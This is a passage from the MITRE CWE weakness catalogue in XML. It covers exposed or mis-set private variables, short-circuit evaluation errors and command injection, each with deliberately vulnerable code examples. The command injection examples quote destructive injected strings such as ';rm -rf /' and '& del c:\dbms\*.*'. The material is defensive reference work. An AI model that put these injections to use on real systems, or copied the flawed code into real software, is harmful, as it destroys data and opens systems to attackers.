					          <Language Language_Name="C#"/>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> Making a critical variable public allows anyone with access to the
							object in which the variable is contained to alter or read the value.
						</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Data should be private, static, and final whenever possible. This will
							assure that your code is protected by instantiating early, preventing
							access, and preventing tampering.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example declares a critical variable public, making it
						accessible to anyone with access to the object in which it is
						contained.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>public: char* password;</Code>
						            </Block>
						            <Text>Instead, the critical data should be declared private.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>private: char* password;</Code>
						            </Block>
						            <Text>Even though this example declares the password to be private, there
							are other possible issues with this implementation, such as the
							possibility of recovering the password from process memory
							(CWE-257).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following example shows a basic user account class that includes
						member variables for the username and password as well as a public
						constructor for the class and a public method to authorize access to the
						user account.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>#define MAX_PASSWORD_LENGTH 15</Code>
							              <Code>#define MAX_USERNAME_LENGTH 15</Code>
							              <Code/>
							              <Code>class UserAccount</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>public:</Code>
								                <Block>
									                  <Code>UserAccount(char *username, char *password)</Code>
									                  <Code>{</Code>
									                  <Block>
										                    <Code>if ((strlen(username) &gt; MAX_USERNAME_LENGTH)
											||</Code>
										                    <Code>(strlen(password) &gt; MAX_PASSWORD_LENGTH)) {</Code>
										                    <Block>
											                      <Code>ExitError("Invalid username or password");</Code>
										                    </Block>
										                    <Code>}</Code>
										                    <Code>strcpy(this-&gt;username, username);</Code>
										                    <Code>strcpy(this-&gt;password, password);</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code/>
								                <Code>int authorizeAccess(char *username, char *password)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>if ((strlen(username) &gt; MAX_USERNAME_LENGTH) ||</Code>
									                  <Code>(strlen(password) &gt; MAX_PASSWORD_LENGTH)) {</Code>
									                  <Block>
										                    <Code>ExitError("Invalid username or password");</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Comment>// if the username and password in the input parameters
										are equal to</Comment>
									                  <Comment>// the username and password of this account class then
										authorize access</Comment>
									                  <Code>if (strcmp(this-&gt;username, username) ||</Code>
									                  <Code>strcmp(this-&gt;password, password))</Code>
									                  <Block>
										                    <Code>return 0;</Code>
									                  </Block>
									                  <Comment>// otherwise do not authorize access</Comment>
									                  <Code>else</Code>
									                  <Block>
										                    <Code>return 1;</Code>
									                  </Block>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>char username[MAX_USERNAME_LENGTH+1];</Code>
								                <Code>char password[MAX_PASSWORD_LENGTH+1];</Code>
							              </Block>
							              <Code>};</Code>
						            </Block>
						            <Text>However, the member variables username and password are declared
							public and therefore will allow access and changes to the member
							variables to anyone with access to the object. These member variables
							should be declared private as shown below to prevent unauthorized access
							and changes.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>class UserAccount</Code>
							              <Code>{</Code>
							              <Code>public:</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code/>
							              <Code>private:</Code>
							              <Block>
								                <Code>char username[MAX_USERNAME_LENGTH+1];</Code>
								                <Code>char password[MAX_PASSWORD_LENGTH+1];</Code>
							              </Block>
							              <Code>};</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3860</Observed_Example_Reference>
					          <Observed_Example_Description>variables declared public allows remote read of
						system properties such as user name and home
						directory.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to protect stored data from
						modification</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Declare data members as private and provide accessible wrapper
						methods</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="767" Name="Access to Critical Private Variable via Public Method" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software defines a public method that reads or modifies a
					private variable.</Description_Summary>
				        <Extended_Description>
					          <Text>If an attacker modifies the variable to contain unexpected values, this
						could violate assumptions from other parts of the code. Additionally, if an
						attacker can read the private variable, it may expose sensitive information
						or make it easier to launch further attacks.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C++"/>
					          <Language Language_Name="C#"/>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This entry is closely associated with access control for public methods.
						If the public methods are restricted with proper access controls, then the
						information in the private variable will not be exposed to unexpected
						parties. There may be chaining or composite relationships between improper
						access controls and this weakness.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use class accessor and mutator methods appropriately. Perform
							validation when accepting data from a public method that is intended to
							modify a critical private variable. Also be sure that appropriate access
							controls are being applied when a public method interfaces with critical
							data.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following example declares a critical variable to be private,
						and then allows the variable to be modified by public methods.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>private: float price;</Code>
							              <Code>public: void changePrice(float newPrice) {</Code>
							              <Block>
								                <Code>price = newPrice;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following example could be used to implement a user forum where
						a single user (UID) can switch between multiple profiles (PID).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class Client {</Code>
							              <Block>
								                <Code>private int UID;</Code>
								                <Code>public int PID;</Code>
								                <Code>private String userName;</Code>
								                <Code>public Client(String userName){</Code>
								                <Block>
									                  <Code>PID = getDefaultProfileID();</Code>
									                  <Code>UID = mapUserNametoUID( userName );</Code>
									                  <Code>this.userName = userName;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>public void setPID(int ID) {</Code>
								                <Block>
									                  <Code>UID = ID;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer implemented setPID with the intention of modifying the
							PID variable, but due to a typo. accidentally specified the critical
							variable UID instead. If the program allows profile IDs to be between 1
							and 10, but a UID of 1 means the user is treated as an admin, then a
							user could gain administrative privileges as a result of this
							typo.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to protect stored data from
						modification</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="768" Name="Incorrect Short Circuit Evaluation" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software contains a conditional statement with multiple
					logical expressions in which one of the non-leading expressions may produce side
					effects. This may lead to an unexpected state in the program after the execution
					of the conditional, because short-circuiting logic may prevent the side effects
					from occurring.</Description_Summary>
				        <Extended_Description>
					          <Text>Usage of short circuit evaluation, though well-defined in the C standard,
						may alter control flow in a way that introduces logic errors that are
						difficult to detect, possibly causing errors later during the software's
						execution. If an attacker can discover such an inconsistency, it may be
						exploitable to gain arbitrary control over a system.</Text>
					          <Text>If the first condition of an "or" statement is assumed to be true under
						normal circumstances, or if the first condition of an "and" statement is
						assumed to be false, then any subsequent conditional may contain its own
						logic errors that are not detected during code review or testing.</Text>
					          <Text>Finally, the usage of short circuit evaluation may decrease the
						maintainability of the code.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>871</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Note>
						            <Text>Widely varied consequences are possible if an attacker is aware of an
							unexpected state in the software after a conditional. It may lead to
							information exposure, a system crash, or even complete attacker control
							of the system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Minimizing the number of statements in a conditional that produce side
							effects will help to prevent the likelihood of short circuit evaluation
							to alter control flow in an unexpected way.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following function attempts to take a size value from a user and
						allocate an array of that size (we ignore bounds checking for simplicity).
						The function tries to initialize each spot with the value of its index, that
						is, A[len-1] = len - 1; A[len-2] = len - 2; ... A[1] = 1; A[0] = 0; However,
						since the programmer uses the prefix decrement operator, when the
						conditional is evaluated with i == 1, the decrement will result in a 0 value
						for the first part of the predicate, causing the second portion to be
						bypassed via short-circuit evaluation. This means we cannot be sure of what
						value will be in A[0] when we return the array to the user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define PRIV_ADMIN 0</Code>
							              <Code>#define PRIV_REGULAR 1</Code>
							              <Code>typedef struct{</Code>
							              <Block>
								                <Code>int privileges;</Code>
								                <Code>int id;</Code>
							              </Block>
							              <Code>} user_t;</Code>
							              <Code>user_t *Add_Regular_Users(int num_users){</Code>
							              <Block>
								                <Code>user_t* users = (user_t*)calloc(num_users,
									sizeof(user_t));</Code>
								                <Code>int i = num_users;</Code>
								                <Code>while( --i &amp;&amp; (users[i].privileges = PRIV_REGULAR)
									){</Code>
								                <Block>
									                  <Code>users[i].id = i;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return users;</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>int main(){</Code>
							              <Block>
								                <Code>user_t* test;</Code>
								                <Code>int i;</Code>
								                <Code>test = Add_Regular_Users(25);</Code>
								                <Code>for(i = 0; i &lt; 25; i++) printf("user %d has privilege level
									%d\n", test[i].id, test[i].privileges);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>When compiled and run, the above code will output a privilege level of
							1, or PRIV_REGULAR for every user but the user with id 0 since the
							prefix increment operator used in the if statement will reach zero and
							short circuit before setting the 0th user's privilege level. Since we
							used calloc, this privilege will be set to 0, or PRIV_ADMIN.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to protect stored data from
						modification</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Be aware of the short-circuit behavior of the logical AND and
						OR operators</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP02-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-03-03</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="77" Name="Improper Neutralization of Special Elements used in a Command ('Command Injection')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software constructs all or part of a command using
					externally-influenced input from an upstream component, but it does not
					neutralize or incorrectly neutralizes special elements that could modify the
					intended command when it is sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text> Command injection vulnerabilities typically occur when:</Text>
					          <Block>
						            <Text>1. Data enters the application from an untrusted source.</Text>
						            <Text>2. The data is part of a string that is executed as a command by the
							application.</Text>
						            <Text>3. By executing the command, the application gives an attacker a
							privilege or capability that the attacker would not otherwise
							have.</Text>
					          </Block>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>713</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A2 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Command injection is a common problem with wrapper programs.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> If a malicious user injects a character (such as a semi-colon) that
							delimits the end of one command and the beginning of another, it may be
							possible to then insert an entirely new and unrelated command that was
							not intended to be executed. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If at all possible, use library calls rather than external processes
							to recreate the desired functionality</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If possible, ensure that all external commands called from the program
							are statically created.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Run time: Run time policy enforcement may be used in a white-list
							fashion to prevent use of any non-sanctioned commands.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Assign permissions to the software system that prevents the user from
							accessing/opening privileged files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-30">
					          <Intro_Text>The following simple program accepts a filename as a command line
						argument and displays the contents of the file back to the user. The program
						is installed setuid root because it is intended for use as a learning tool
						to allow system administrators in-training to inspect privileged system
						files without giving them the ability to modify them or damage the
						system.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int main(char* argc, char** argv) {</Code>
							              <Block>
								                <Code>char cmd[CMD_MAX] = "/usr/bin/cat ";</Code>
								                <Code>strcat(cmd, argv[1]);</Code>
								                <Code>system(cmd);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the program runs with root privileges, the call to system()
							also executes with root privileges. If a user specifies a standard
							filename, the call works as expected. However, if an attacker passes a
							string of the form ";rm -rf /", then the call to system() fails to
							execute cat due to a lack of arguments and then plows on to recursively
							delete the contents of the root partition.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-28">
					          <Intro_Text>The following code is from an administrative web application
						designed to allow users to kick off a backup of an Oracle database using a
						batch-file wrapper around the rman utility and then run a cleanup.bat script
						to delete some temporary files. The script rmanDB.bat accepts a single
						command line parameter, which specifies what type of backup to perform.
						Because access to the database is restricted, the application runs the
						backup as a privileged user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>String btype = request.getParameter("backuptype");</Code>
							              <Code>String cmd = new String("cmd.exe /K \"</Code>
							              <Block>
								                <Code>c:\\util\\rmanDB.bat "</Code>
								                <Code>+btype+</Code>
								                <Code>"&amp;&amp;c:\\utl\\cleanup.bat\"")</Code>
							              </Block>
							              <Code>System.Runtime.getRuntime().exec(cmd);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The problem here is that the program does not do any validation on the
							backuptype parameter read from the user. Typically the Runtime.exec()
							function will not execute multiple commands, but in this case the
							program first runs the cmd.exe shell in order to run multiple commands
							with a single call to Runtime.exec(). Once the shell is invoked, it will
							happily execute multiple commands separated by two ampersands. If an
							attacker passes a string of the form "&amp; del c:\\dbms\\*.*", then
							the application will execute this command along with the others
							specified by the program. Because of the nature of the application, it
							runs with the privileges necessary to interact with the database, which
							means whatever command the attacker injects will run with those
							privileges as well.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code from a system utility uses the system property
						APPHOME to determine the directory in which it is installed and then
						executes an initialization script based on a relative path from the
						specified directory.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>String home = System.getProperty("APPHOME");</Code>
							              <Code>String cmd = home + INITCMD;</Code>
							              <Code>java.lang.Runtime.getRuntime().exec(cmd);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The code above allows an attacker to execute arbitrary commands with
							the elevated privilege of the application by modifying the system
							property APPHOME to point to a different path containing a malicious
							version of INITCMD. Because the program does not validate the value read
							from the environment, if an attacker can control the value of the system
							property APPHOME, then they can fool the application into running
							malicious code and take control of the system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-29">
					          <Intro_Text>The following code is from a web application that allows users
						access to an interface through which they can update their password on the
						system. Part of the process for updating passwords in certain network
						environments is to run a make command in the /var/yp directory, the code for
						which is shown below.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>System.Runtime.getRuntime().exec("make");</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>The problem here is that the program does not specify an absolute path
							for make and does not clean its environment prior to executing the call
							to Runtime.exec(). If an attacker can modify the $PATH variable to point
							to a malicious binary called make and cause the program to be executed
							in their environment, then the malicious binary will be loaded instead
							of the one intended. Because of the nature of the application, it runs
